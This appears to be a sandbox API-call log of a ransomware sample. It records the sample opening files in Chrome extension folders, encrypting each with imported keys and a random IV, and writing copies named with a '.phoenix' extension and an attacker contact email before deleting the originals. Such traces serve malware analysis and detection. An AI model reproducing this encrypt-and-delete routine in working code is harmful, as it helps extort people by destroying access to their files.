	[0263.235] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\uk\\messages.json")) returned 1
	[0263.236] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.236] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.236] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=595) returned 1
	[0263.236] CloseHandle (hObject=0x2b0) returned 1
	[0263.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0263.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.237] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.237] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.237] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.237] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0263.237] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.237] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x253, lpOverlapped=0x0) returned 1
	[0263.253] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260, dwBufLen=0x260 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x260) returned 1
	[0263.254] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x260, lpOverlapped=0x0) returned 1
	[0263.254] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0263.254] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.254] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.254] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.254] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.255] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.255] CloseHandle (hObject=0x2b0) returned 1
	[0263.255] CloseHandle (hObject=0x310) returned 1
	[0263.255] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0263.256] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.256] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.256] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6159) returned 1
	[0263.256] CloseHandle (hObject=0x310) returned 1
	[0263.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png")) returned 0x20
	[0263.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.257] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.257] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.257] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.257] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.257] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0263.257] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.257] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x180f, lpOverlapped=0x0) returned 1
	[0263.304] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1810, dwBufLen=0x1810 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1810) returned 1
	[0263.304] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1810, lpOverlapped=0x0) returned 1
	[0263.305] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0263.305] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.305] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0263.305] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.305] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0263.305] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.305] CloseHandle (hObject=0x310) returned 1
	[0263.305] CloseHandle (hObject=0x2b0) returned 1
	[0263.305] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png")) returned 1
	[0263.306] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.307] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.307] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=784) returned 1
	[0263.307] CloseHandle (hObject=0x2b0) returned 1
	[0263.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json")) returned 0x20
	[0263.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.308] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.308] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.308] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.308] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.309] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0263.309] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.309] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x310, lpOverlapped=0x0) returned 1
	[0263.333] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x320, dwBufLen=0x320 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x320) returned 1
	[0263.333] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x320, lpOverlapped=0x0) returned 1
	[0263.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0263.334] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.334] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.334] CryptDestroyKey (hKey=0x151100) returned 1
	[0263.334] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.334] CryptDestroyKey (hKey=0x151200) returned 1
	[0263.334] CloseHandle (hObject=0x2b0) returned 1
	[0263.334] CloseHandle (hObject=0x310) returned 1
	[0263.334] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json")) returned 1
	[0263.335] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.335] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.335] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=236) returned 1
	[0263.335] CloseHandle (hObject=0x310) returned 1
	[0263.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json")) returned 0x20
	[0263.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.336] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.336] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.336] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.336] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0263.336] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.336] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xec, lpOverlapped=0x0) returned 1
	[0263.337] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0263.337] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0263.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0263.339] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.339] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.339] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.339] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.339] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.339] CloseHandle (hObject=0x310) returned 1
	[0263.339] CloseHandle (hObject=0x2b0) returned 1
	[0263.339] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json")) returned 1
	[0263.340] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.340] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.341] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=239) returned 1
	[0263.341] CloseHandle (hObject=0x2b0) returned 1
	[0263.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json")) returned 0x20
	[0263.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.341] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.341] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.341] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.341] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
